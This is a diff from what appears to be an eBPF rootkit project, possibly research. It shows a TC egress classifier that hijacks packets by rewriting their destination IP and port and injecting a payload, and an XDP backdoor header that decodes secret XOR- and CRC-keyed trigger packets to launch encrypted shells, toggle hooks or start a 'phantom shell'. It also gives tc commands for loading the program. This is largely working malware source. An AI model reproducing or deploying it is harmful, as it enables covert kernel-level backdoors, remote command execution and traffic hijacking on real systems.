||||
}
|
||||
//We will complete this request, so we get the backdoor in inactive state
|
||||
ps_new_data.active = 0;
|
||||
ps_new_data.d_ip = ps_data->d_ip;
|
||||
ps_new_data.d_port = ps_data->d_port;
|
||||
__builtin_memcpy(ps_new_data.payload, ps_data->payload, 64);
|
||||
//ps_new_data.payload = ps_data->payload;
|
||||
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
|
||||
if(err<0){
|
||||
bpf_printk("Fail to update map\n");
|
||||
}
|
||||
bpf_printk("Phantom shell active now, A:%i IP:%x P:%x\n", ps_data->active, ps_data->d_ip, ps_data->d_port);
|
||||
bpf_printk("Phantom shell param payload: %s\n", ps_data->payload);
|
||||
__u32 new_ip = ps_data->d_ip;
|
||||
__u16 new_dport = ps_data->d_port;
|
||||
__u32 offset_ip_daddr = offsetof(struct iphdr, daddr)+ sizeof(struct ethhdr);
|
||||
__u32 offset_dport = offsetof(struct tcphdr, dest)+ sizeof(struct ethhdr) + sizeof(struct iphdr);
|
||||
__u32 offset_ip_checksum = offsetof(struct iphdr, check)+ sizeof(struct ethhdr);
|
||||
__u32 offset_tcp_checksum = offsetof(struct tcphdr, check)+ sizeof(struct ethhdr) +sizeof(struct iphdr);
|
||||
//bpf_printk("Payload: %s\n", payload);
|
||||
//TODO, adjust the length to the new payload. Verifier complains a lot so we will keep it like this for now
|
||||
__u32 increment_len = sizeof(char)*64;
|
||||
__u32 old_ip_daddr;
|
||||
bpf_skb_load_bytes(skb, offset_ip_daddr, &old_ip_daddr, sizeof(__u32));
|
||||
__u16 old_dport;
|
||||
bpf_skb_load_bytes(skb, offset_dport, &old_dport, sizeof(__u16));
|
||||
bpf_printk("offset ip: %u\n", offset_ip_daddr);
|
||||
int ret = bpf_l3_csum_replace(skb, offset_ip_checksum, old_ip_daddr, new_ip, sizeof(__u32));
|
||||
if (ret < 0) {
|
||||
bpf_printk("Failed to recompute l3 checksum: %d\n", ret);
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
ret = bpf_skb_store_bytes(skb, offset_ip_daddr, &new_ip, sizeof(__u32), 0);
|
||||
if (ret < 0) {
|
||||
bpf_printk("Failed to overwrite destination ip: %d\n", ret);
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
bpf_printk("offset port: %u\n", offset_dport);
|
||||
ret = bpf_l4_csum_replace(skb, offset_tcp_checksum, old_dport, new_dport, sizeof(__u16));
|
||||
if (ret < 0) {
|
||||
bpf_printk("Failed to recompute l4 checksum: %d\n", ret);
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
ret = bpf_skb_store_bytes(skb, offset_dport, &new_dport, sizeof(__u16), 0);
|
||||
if (ret < 0) {
|
||||
bpf_printk("Failed to overwrite destination port: %d\n", ret);
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
ret = bpf_skb_change_tail(skb, skb->len+increment_len, 0);
|
||||
if (ret < 0) {
|
||||
bpf_printk("Failed to enlarge the packet (via tail): %d\n", ret);
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
ret = bpf_skb_pull_data(skb, 0);
|
||||
if(ret<0){
|
||||
bpf_printk("Failed to pull data\n");
|
||||
}
|
||||
|
||||
//After changing the packet bounds, all the boundaries must be check again
|
||||
data = (void *)(__u64)skb->data;
|
||||
data_end = (void *)(__u64)skb->data_end;
|
||||
|
||||
eth = data;
|
||||
if ((void *)eth + sizeof(struct ethhdr) > data_end){
|
||||
bpf_printk("ETH\n");
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
ip = (struct iphdr*)(data + sizeof(struct ethhdr));
|
||||
if ((void *)ip + sizeof(struct iphdr) > data_end){
|
||||
bpf_printk("IP CHECK, ip: %llx, data: %llx, datalen: %llx\n", ip, data, data_end);
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
tcp = (struct tcphdr *)(data + sizeof(struct ethhdr) + sizeof(struct iphdr));
|
||||
if ((void *)tcp + sizeof(struct tcphdr) > data_end){
|
||||
bpf_printk("TCP CHECK\n");
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
if(eth == (void*)0 || tcp == (void*)0 || ip == (void*)0){
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
|
||||
payload = data_end - payload_size;
|
||||
if(payload_size>=sizeof(char)*64){
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
if(data>data_end){
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
__u32 offset = skb->len-payload_size-increment_len;
|
||||
if(ps_data==(void*)0){
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
if(increment_len>skb->data_end-skb->data){
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
if(skb->data_end < skb->data + increment_len){
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
//Simple strlen
|
||||
__u32 payload_char_len = 0;
|
||||
for(int ii=0; ii<64; ii++){
|
||||
if(ps_data->payload[ii]!='\0'){
|
||||
payload_char_len++;
|
||||
}else{
|
||||
break;
|
||||
}
|
||||
}
|
||||
if(payload_char_len>=increment_len|| payload_char_len<=0){
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
bpf_printk("New payload offset %i, writing %i bytes\n", offset, payload_char_len);
|
||||
ret = bpf_skb_store_bytes(skb, offset, ps_data->payload, payload_char_len, 0);
|
||||
if (ret < 0) {
|
||||
bpf_printk("Failed to overwrite payload: %d\n", ret);
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
data = (void *)(__u64)skb->data;
|
||||
data_end = (void *)(__u64)skb->data_end;
|
||||
|
||||
eth = data;
|
||||
if ((void *)eth + sizeof(struct ethhdr) > data_end){
|
||||
bpf_printk("ETH\n");
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
ip = (struct iphdr*)(data + sizeof(struct ethhdr));
|
||||
if ((void *)ip + sizeof(struct iphdr) > data_end){
|
||||
bpf_printk("IP CHECK, ip: %llx, data: %llx, datalen: %llx\n", ip, data, data_end);
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
tcp = (struct tcphdr *)(data + sizeof(struct ethhdr) + sizeof(struct iphdr));
|
||||
if ((void *)tcp + sizeof(struct tcphdr) > data_end){
|
||||
bpf_printk("TCP CHECK\n");
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
//Fixing IP checksum
|
||||
//bpf_printk("Old value %x, new value %x\n", htons(ip->tot_len), htons(ntohs(ip->tot_len)+increment_len));
|
||||
__u32 offset_ip_tot_len = offsetof(struct iphdr, tot_len)+ sizeof(struct ethhdr);
|
||||
__u16 new_tot_len = htons(ntohs(ip->tot_len)+increment_len);
|
||||
ret = bpf_l3_csum_replace(skb, offset_ip_checksum, (ip->tot_len), new_tot_len, sizeof(__u16));
|
||||
if (ret < 0) {
|
||||
bpf_printk("Failed to recompute l3 checksum: %d\n", ret);
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
bpf_printk("New ip tot len: %i\n", ntohs(new_tot_len));
|
||||
ret = bpf_skb_store_bytes(skb, offset_ip_tot_len, &new_tot_len, sizeof(__u16), 0);
|
||||
if (ret < 0) {
|
||||
bpf_printk("Failed to overwrite ip total len: %d\n", ret);
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
bpf_printk("Finished packet hijacking routine\n");
|
||||
|
||||
return TC_ACT_OK;
|
||||
|
||||
}
|
||||
|
||||
SEC("classifier/ingress")
|
||||
int classifier_ingress(struct __sk_buff *skb){
|
||||
void *data = (void *)(__u64)skb->data;
|
||||
void *data_end = (void *)(__u64)skb->data_end;
|
||||
bpf_printk("TC ingress classifier called\n");
|
||||
|
||||
//We are interested on parsing TCP/IP packets so let's assume we have one
|
||||
//Ethernet header
|
||||
struct ethhdr *eth = data;
|
||||
if ((void *)eth + sizeof(struct ethhdr) > data_end){
|
||||
bpf_printk("ETH\n");
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
if(eth->h_proto != htons(ETH_P_IP)){
|
||||
//Not an IP packet
|
||||
bpf_printk("IP\n");
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
//IP header
|
||||
struct iphdr *ip = (struct iphdr*)(data + sizeof(struct ethhdr));
|
||||
if ((void *)ip + sizeof(struct iphdr) > data_end){
|
||||
bpf_printk("IP CHECK, ip: %llx, data: %llx, datalen: %llx\n", ip, data, data_end);
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
if(ip->protocol != IPPROTO_TCP){
|
||||
bpf_printk("TCP\n");
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
//TCP header
|
||||
struct tcphdr *tcp = (struct tcphdr *)(data + sizeof(struct ethhdr) + sizeof(struct iphdr));
|
||||
if ((void *)tcp + sizeof(struct tcphdr) > data_end){
|
||||
bpf_printk("TCP CHECK\n");
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
//We now proceed to scan for our backdoor packets
|
||||
__u16 dest_port = ntohs(tcp->dest);
|
||||
if(dest_port != SECRET_PACKET_DEST_PORT){
|
||||
bpf_printk("PORT CHECK: %u\n", dest_port);
|
||||
//return TC_ACT_OK;
|
||||
}
|
||||
|
||||
bpf_printk("Detected bounds: data:%llx, data_end:%llx", data, data_end);
|
||||
bpf_printk("Detected headers: \n\teth:%llx\n\tip:%llx\n\ttcp:%llx\n", eth, ip, tcp);
|
||||
|
||||
|
||||
__u32 payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
|
||||
bpf_printk("ip_totlen: %u, tcp_doff*4: %u, ip_ihl: %u\n", ntohs(ip->tot_len), tcp->doff*4, ip->ihl*4);
|
||||
char* payload = (void *)(tcp + tcp->doff*4);
|
||||
if ((void*)payload + payload_size > data_end){
|
||||
bpf_printk("PAYLOAD CHECK, payload:%llx, payload_size:%llx, data_end:%llx\n", payload, payload_size, data_end);
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
//Mark skb buffer readable and writable
|
||||
bpf_skb_pull_data(skb, 0);
|
||||
|
||||
bpf_printk("PAYLOAD size: %u\n", payload_size);
|
||||
|
||||
//We redirect whatever packet this is to the rootkit
|
||||
//The TCP retransmissions will be in charge of resending it correctly later
|
||||
/*__u64 key = 1;
|
||||
struct backdoor_phantom_shell_data *ps_data = (struct backdoor_phantom_shell_data*) bpf_map_lookup_elem(&backdoor_phantom_shell, &key);
|
||||
struct backdoor_phantom_shell_data ps_new_data = {0};
|
||||
if(ps_data == (void*)0){
|
||||
//Phantom shell not active
|
||||
bpf_printk("Phantom shell NOT active anytime\n");
|
||||
ps_new_data.active = 4;
|
||||
ps_new_data.d_ip = 1;
|
||||
ps_new_data.d_port = 1;
|
||||
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
|
||||
if(err<0){
|
||||
bpf_printk("Fail to update map\n");
|
||||
}
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
if(ps_data->active == 0){
|
||||
bpf_printk("Phantom shell NOT active now\n");
|
||||
ps_new_data.active = 5;
|
||||
ps_new_data.d_ip = 1;
|
||||
ps_new_data.d_port = 1;
|
||||
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
|
||||
if(err<0){
|
||||
bpf_printk("Fail to update map\n");
|
||||
}
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
ps_new_data.active = 6;
|
||||
ps_new_data.d_ip = 1;
|
||||
ps_new_data.d_port = 1;
|
||||
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
|
||||
if(err<0){
|
||||
bpf_printk("Fail to update map\n");
|
||||
}
|
||||
|
||||
bpf_printk("Phantom shell active now: active is %i\n", ps_data->active);
|
||||
__u32 new_ip = ps_data->d_ip;
|
||||
__u16 new_port = ps_data->d_port;
|
||||
__u32 offset_ip = offsetof(struct iphdr, daddr)+ sizeof(struct ethhdr);
|
||||
__u16 offset_port = offsetof(struct tcphdr, dest)+ sizeof(struct ethhdr) + sizeof(struct iphdr);
|
||||
bpf_printk("offset ip: %u\n", offset_ip);
|
||||
int ret = bpf_skb_store_bytes(skb, offset_ip, &new_ip, sizeof(__u32), BPF_F_RECOMPUTE_CSUM);
|
||||
if (ret < 0) {
|
||||
bpf_printk("Failed to overwrite destination ip: %d\n", ret);
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
bpf_printk("offset port: %u\n", offset_port);
|
||||
ret = bpf_skb_store_bytes(skb, offset_port, &new_port, sizeof(__u16), BPF_F_RECOMPUTE_CSUM);
|
||||
if (ret < 0) {
|
||||
bpf_printk("Failed to overwrite destination port: %d\n", ret);
|
||||
return TC_ACT_OK;
|
||||
}*/
|
||||
|
||||
return TC_ACT_OK;
|
||||
|
||||
}
|
||||
/**
|
||||
* COMMANDS
|
||||
* sudo tc qdisc add dev lo clsact
|
||||
* sudo tc filter add dev lo egress bpf direct-action obj tc.o sec classifier/egress
|
||||
* sudo tc filter show dev lo
|
||||
* sudo tc filter show dev lo egress
|
||||
*
|
||||
* sudo tc qdisc del dev lo clsact
|
||||
*/
|
||||
|
||||
|
||||
|
||||
char _license[4] SEC("license") = "GPL";
|
||||
@@ -3,7 +3,9 @@
|
||||
|
||||
/*#include <linux/bpf.h>
|
||||
#include <bpf/bpf_helpers.h>*/
|
||||
#ifndef __H_TCKIT
|
||||
#include "headervmlinux.h"
|
||||
#endif
|
||||
|
||||
#include <bpf/bpf_tracing.h>
|
||||
#include <bpf/bpf_core_read.h>
|
||||
@@ -42,6 +44,45 @@ static __always_inline int ring_buffer_send(struct ring_buffer *rb, int pid, eve
|
||||
return 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Sends an event indicating a received command in the backdoor
|
||||
*
|
||||
* @return 0 if ok, -1 if error
|
||||
*/
|
||||
static __always_inline int ring_buffer_send_backdoor_command(struct ring_buffer *rb, int pid, int code, __u32 ip, __u16 port){
|
||||
struct rb_event *event = (struct rb_event*) bpf_ringbuf_reserve(rb, sizeof(struct rb_event), 0);
|
||||
if(!event){
|
||||
return -1;
|
||||
}
|
||||
event->code = code;
|
||||
event->event_type = COMMAND;
|
||||
event->pid = pid;
|
||||
event->client_ip = ip;
|
||||
event->client_port = port;
|
||||
|
||||
bpf_ringbuf_submit(event, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Sends an event indicating a received command in the backdoor
|
||||
*
|
||||
* @return 0 if ok, -1 if error
|
||||
*/
|
||||
static __always_inline int ring_buffer_send_request_update_phantom_shell(struct ring_buffer *rb, int pid, int code, struct backdoor_phantom_shell_data data){
|
||||
struct rb_event *event = (struct rb_event*) bpf_ringbuf_reserve(rb, sizeof(struct rb_event), 0);
|
||||
if(!event){
|
||||
return -1;
|
||||
}
|
||||
|
||||
event->code = code;
|
||||
event->event_type = PSH_UPDATE;
|
||||
event->pid = pid;
|
||||
event->bps_data = data;
|
||||
bpf_ringbuf_submit(event, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Sends an event indicating a vulnerable syscall injection into the specified ring kernel buffer
|
||||
*
|
||||
@@ -52,7 +93,6 @@ static __always_inline int ring_buffer_send_vuln_sys(struct ring_buffer *rb, int
|
||||
if(!event){
|
||||
return -1;
|
||||
}
|
||||
|
||||
event->event_type = VULN_SYSCALL;
|
||||
event->pid = pid;
|
||||
event->libc_dlopen_mode_address = libc_dlopen_mode_address;
|
||||
|
||||
@@ -5,9 +5,11 @@
|
||||
#include <linux/types.h>
|
||||
|
||||
#include <linux/bpf.h>*/
|
||||
#ifndef __H_TCKIT
|
||||
#include <bpf/bpf_endian.h>
|
||||
#include <bpf/bpf_helpers.h>
|
||||
#include "headervmlinux.h"
|
||||
#endif
|
||||
|
||||
/**
|
||||
* IP checksum calculation.
|
||||
|
||||
467
src/ebpf/include/xdp/backdoor.h
Normal file
467
src/ebpf/include/xdp/backdoor.h
Normal file
@@ -0,0 +1,467 @@
|
||||
#ifndef __BPF_BACKDOOR
|
||||
#define __BPF_BACKDOOR
|
||||
|
||||
#include "headervmlinux.h"
|
||||
#include <bpf/bpf_helpers.h>
|
||||
#include <bpf/bpf_tracing.h>
|
||||
#include <bpf/bpf_core_read.h>
|
||||
|
||||
#include "../data/ring_buffer.h"
|
||||
#include "../../../common/c&c.h"
|
||||
#include "../bpf/defs.h"
|
||||
|
||||
static __always_inline int execute_key_command(int command_received, __u32 ip, __u16 port, char* optional_payload, int optional_payload_size){
|
||||
int pid = -1; //Received by network stack, just ignore
|
||||
switch(command_received){
|
||||
case CC_PROT_COMMAND_ENCRYPTED_SHELL:
|
||||
bpf_printk("Received request to start encrypted connection\n");
|
||||
ring_buffer_send_backdoor_command(&rb_comm, pid, command_received, ip, port);
|
||||
break;
|
||||
case CC_PROT_COMMAND_HOOK_ACTIVATE_ALL:
|
||||
bpf_printk("Received request to activate all hooks\n");
|
||||
ring_buffer_send_backdoor_command(&rb_comm, pid, command_received, ip, port);
|
||||
break;
|
||||
case CC_PROT_COMMAND_HOOK_DEACTIVATE_ALL:
|
||||
bpf_printk("Received request to deactivate all hooks\n");
|
||||
ring_buffer_send_backdoor_command(&rb_comm, pid, command_received, ip, port);
|
||||
break;
|
||||
case CC_PROT_COMMAND_PHANTOM_SHELL:
|
||||
bpf_printk("Received request to start phantom shell\n");
|
||||
//Check for phantom shell state
|
||||
__u64 key = 1;
|
||||
struct backdoor_phantom_shell_data *ps_data = (struct backdoor_phantom_shell_data*) bpf_map_lookup_elem(&backdoor_phantom_shell, &key);
|
||||
if(ps_data != (void*)0 && ps_data->active ==1){
|
||||
bpf_printk("Overwriting previous phantom shell config\n");
|
||||
}
|
||||
struct backdoor_phantom_shell_data ps_new_data = {0};
|
||||
ps_new_data.active = 1;
|
||||
ps_new_data.d_ip = ip;
|
||||
ps_new_data.d_port = port;
|
||||
if(optional_payload_size == 0){
|
||||
//First phantom init msg
|
||||
__builtin_memcpy(ps_new_data.payload, CC_PROT_PHANTOM_SHELL_INIT, 16);
|
||||
}else{
|
||||
__builtin_memcpy(ps_new_data.payload, optional_payload, optional_payload_size);
|
||||
}
|
||||
|
||||
ring_buffer_send_request_update_phantom_shell(&rb_comm, pid, command_received, ps_new_data);
|
||||
break;
|
||||
|
||||
default:
|
||||
bpf_printk("Command received unknown: %d\n", command_received);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
static __always_inline int manage_backdoor_trigger_v1(char* payload, __u32 payload_size, __u32 s_ip, __u16 s_port){
|
||||
char section[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||
char section2[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||
char section3[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||
char key1[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||
char key2[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||
char key3[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||
char result1[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||
char result2[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||
char result3[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||
|
||||
//Undoing the trigger secret packet to check it is the one expected
|
||||
|
||||
//Loading keys
|
||||
__builtin_memcpy(key1, CC_TRIGGER_SYN_PACKET_KEY_1, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
__builtin_memcpy(key2, CC_TRIGGER_SYN_PACKET_KEY_2, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
|
||||
//S1 XOR K1
|
||||
__builtin_memcpy(section, payload, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
__builtin_memcpy(section2, payload+0x06, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||
result1[ii] = section[ii] ^ section2[ii];
|
||||
if(result1[ii]!=key1[ii]){
|
||||
bpf_printk("FAIL CHECK 1\n");
|
||||
return XDP_PASS;
|
||||
}
|
||||
}
|
||||
|
||||
//S2 XOR K2
|
||||
__builtin_memcpy(section, payload+0x02, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
__builtin_memcpy(section2, payload+0x0A, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||
result2[ii] = section[ii] ^ section2[ii];
|
||||
if(result2[ii]!=key2[ii]){
|
||||
bpf_printk("FAIL CHECK 2\n");
|
||||
return XDP_PASS;
|
||||
}
|
||||
}
|
||||
|
||||
//S1 XOR K1 XOR S2 XOR K2 XOR (K3+COMMAND VALUE)
|
||||
__builtin_memcpy(section, payload+0x06, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
__builtin_memcpy(section2, payload+0x0A, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
__builtin_memcpy(section3, payload+0x0C, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
int correct = 1;
|
||||
int command_received = -1;
|
||||
|
||||
//Checking for a valid K3, which indicates the command sent by the backdoor client
|
||||
//Not the cleanest code, needs refactoring
|
||||
//Encrypted shell request
|
||||
__builtin_memcpy(key3, CC_TRIGGER_SYN_PACKET_KEY_3_ENCRYPTED_SHELL, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||
result3[ii] = section[ii] ^ section2[ii] ^ section3[ii];
|
||||
if(result3[ii]!=(key3[ii])){
|
||||
correct = 0;
|
||||
}
|
||||
}
|
||||
if(correct == 1){
|
||||
//Found valid k3 value
|
||||
command_received = CC_PROT_COMMAND_ENCRYPTED_SHELL;
|
||||
goto backdoor_finish;
|
||||
}
|
||||
|
||||
correct = 1;
|
||||
//Hook activate all request
|
||||
__builtin_memcpy(key3, CC_TRIGGER_SYN_PACKET_KEY_3_HOOK_ACTIVATE_ALL, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||
result3[ii] = section[ii] ^ section2[ii] ^ section3[ii];
|
||||
if(result3[ii]!=(key3[ii])){
|
||||
correct = 0;
|
||||
}
|
||||
}
|
||||
if(correct == 1){
|
||||
//Found valid k3 value
|
||||
command_received = CC_PROT_COMMAND_HOOK_ACTIVATE_ALL;
|
||||
goto backdoor_finish;
|
||||
}
|
||||
|
||||
correct = 1;
|
||||
//Hook deactivate all request
|
||||
__builtin_memcpy(key3, CC_TRIGGER_SYN_PACKET_KEY_3_HOOK_DEACTIVATE_ALL, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||
result3[ii] = section[ii] ^ section2[ii] ^ section3[ii];
|
||||
if(result3[ii]!=(key3[ii])){
|
||||
correct = 0;
|
||||
}
|
||||
}
|
||||
if(correct == 1){
|
||||
//Found valid k3 value
|
||||
command_received = CC_PROT_COMMAND_HOOK_DEACTIVATE_ALL;
|
||||
goto backdoor_finish;
|
||||
}
|
||||
|
||||
correct = 1;
|
||||
//Phantom shell request
|
||||
__builtin_memcpy(key3, CC_TRIGGER_SYN_PACKET_KEY_3_PHANTOM_SHELL, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
||||
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
|
||||
result3[ii] = section[ii] ^ section2[ii] ^ section3[ii];
|
||||
if(result3[ii]!=(key3[ii])){
|
||||
correct = 0;
|
||||
}
|
||||
}
|
||||
if(correct == 1){
|
||||
//Found valid k3 value
|
||||
command_received = CC_PROT_COMMAND_PHANTOM_SHELL;
|
||||
goto backdoor_finish;
|
||||
}
|
||||
|
||||
|
||||
backdoor_finish:
|
||||
//Found no valid key 3
|
||||
if(correct==0){
|
||||
bpf_printk("FAIL CHECK 3\n");
|
||||
return XDP_PASS;
|
||||
}
|
||||
|
||||
//If we reach this point then we received trigger packet
|
||||
bpf_printk("Finished backdoor V1 check with success\n");
|
||||
__u32 ip = s_ip;
|
||||
__u16 port = s_port;
|
||||
|
||||
execute_key_command(command_received, ip, port, NULL, 0);
|
||||
|
||||
//return XDP_PASS;
|
||||
return XDP_DROP;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* @brief Operates the V3 backdoor, and opens an encrypted shell if succeeds
|
||||
*Returns 1 if it wants to close to discard the ongoing packet.
|
||||
*
|
||||
* @param b_data
|
||||
* @return __always_inline
|
||||
*/
|
||||
static __always_inline int manage_backdoor_trigger_v3_32(struct backdoor_packet_log_data_32 b_data){
|
||||
int last_received = b_data.last_packet_modified;
|
||||
int first_packet;
|
||||
if(last_received>=0&&last_received<2){
|
||||
first_packet = last_received+1;
|
||||
}else{
|
||||
first_packet = 0;
|
||||
}
|
||||
|
||||
//The following routine (not just the next check) is necessarily dirty in terms of programming,
|
||||
//but the ebpf verifier strongly dislikes MOD operations (check report, screenshot)
|
||||
char payload[CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SEQ_NUM] = {0};
|
||||
if(first_packet == 0){
|
||||
for(int ii=first_packet; ii<3; ii++){
|
||||
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM*ii), &(seq_num), sizeof(__u32));
|
||||
}
|
||||
for(int ii=0; ii<first_packet; ii++){
|
||||
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM*ii), &(seq_num), sizeof(__u32));
|
||||
}
|
||||
}else if(first_packet == 1){
|
||||
for(int ii=first_packet; ii<3; ii++){
|
||||
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM*ii), &(seq_num), sizeof(__u32));
|
||||
}
|
||||
for(int ii=0; ii<first_packet; ii++){
|
||||
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM*ii), &(seq_num), sizeof(__u32));
|
||||
}
|
||||
}else if(first_packet == 2){
|
||||
for(int ii=first_packet; ii<3; ii++){
|
||||
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM*ii), &(seq_num), sizeof(__u32));
|
||||
}
|
||||
for(int ii=0; ii<first_packet; ii++){
|
||||
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
|
||||
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM*ii), &(seq_num), sizeof(__u32));
|
||||
}
|
||||
}
|
||||
|
||||
/*bpf_printk("Payload before XOR: ");
|
||||
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SEQ_NUM; ii++){
|
||||
bpf_printk("%x", payload[ii]);
|
||||
}
|
||||
bpf_printk("\n");*/
|
||||
|
||||
//Now that we have the possible complete stream, let's search for the secret backdoor combination in it
|
||||
//First undo running XOR
|
||||
for(int ii=CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SEQ_NUM-1; ii>0; ii--){
|
||||
char xor_res = payload[ii-1] ^ payload[ii];
|
||||
__builtin_memcpy(payload+ii, (char*)&(xor_res), 0x01);
|
||||
}
|
||||
|
||||
/*bpf_printk("Payload after XOR: ");
|
||||
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SEQ_NUM; ii++){
|
||||
bpf_printk("%x", payload[ii]);
|
||||
}
|
||||
bpf_printk("\n");*/
|
||||
|
||||
//Now compute CRC
|
||||
__u8 x;
|
||||
__u16 crc = 0xFFFF;
|
||||
__u8 length = 0x0A;
|
||||
char *payload_p = payload;
|
||||
|
||||
while (length--){
|
||||
x = crc >> 8 ^ *payload_p++;
|
||||
x ^= x>>4;
|
||||
crc = (crc << 8) ^ ((__u16)(x << 12)) ^ ((__u16)(x <<5)) ^ ((__u16)x);
|
||||
}
|
||||
|
||||
//Check CRC with the one received
|
||||
char crc_char1, crc_char2;
|
||||
__builtin_memcpy(&crc_char1, (char*)&(crc), sizeof(__u8));
|
||||
__builtin_memcpy(&crc_char2, (char*)&(crc)+1, sizeof(__u8));
|
||||
if(crc_char1 != payload[0x0A]){
|
||||
bpf_printk("Failed backdoor V3 (32bit) check 1: %x vs %x\n", crc_char1, payload[0x0A]);
|
||||
return 0;
|
||||
}
|
||||
if(crc_char2 != payload[0x0B]){
|
||||
bpf_printk("Failed backdoor V3 (32bit) check 2: %x vs %x\n", crc_char2, payload[0x0B]);
|
||||
return 0;
|
||||
}
|
||||
|
||||
//Check the K3 used, that indicates the command issued, and whether it was a valid payload too
|
||||
char key3[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||
char result[CC_TRIGGER_SYN_PACKET_SECTION_LEN+1];
|
||||
int correct = 1;
|
||||
int command_received = -1;
|
||||
//Encrypted shell request
|
||||
__builtin_memcpy(key3, CC_STREAM_TRIGGER_KEY_ENCRYPTED_SHELL, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
|
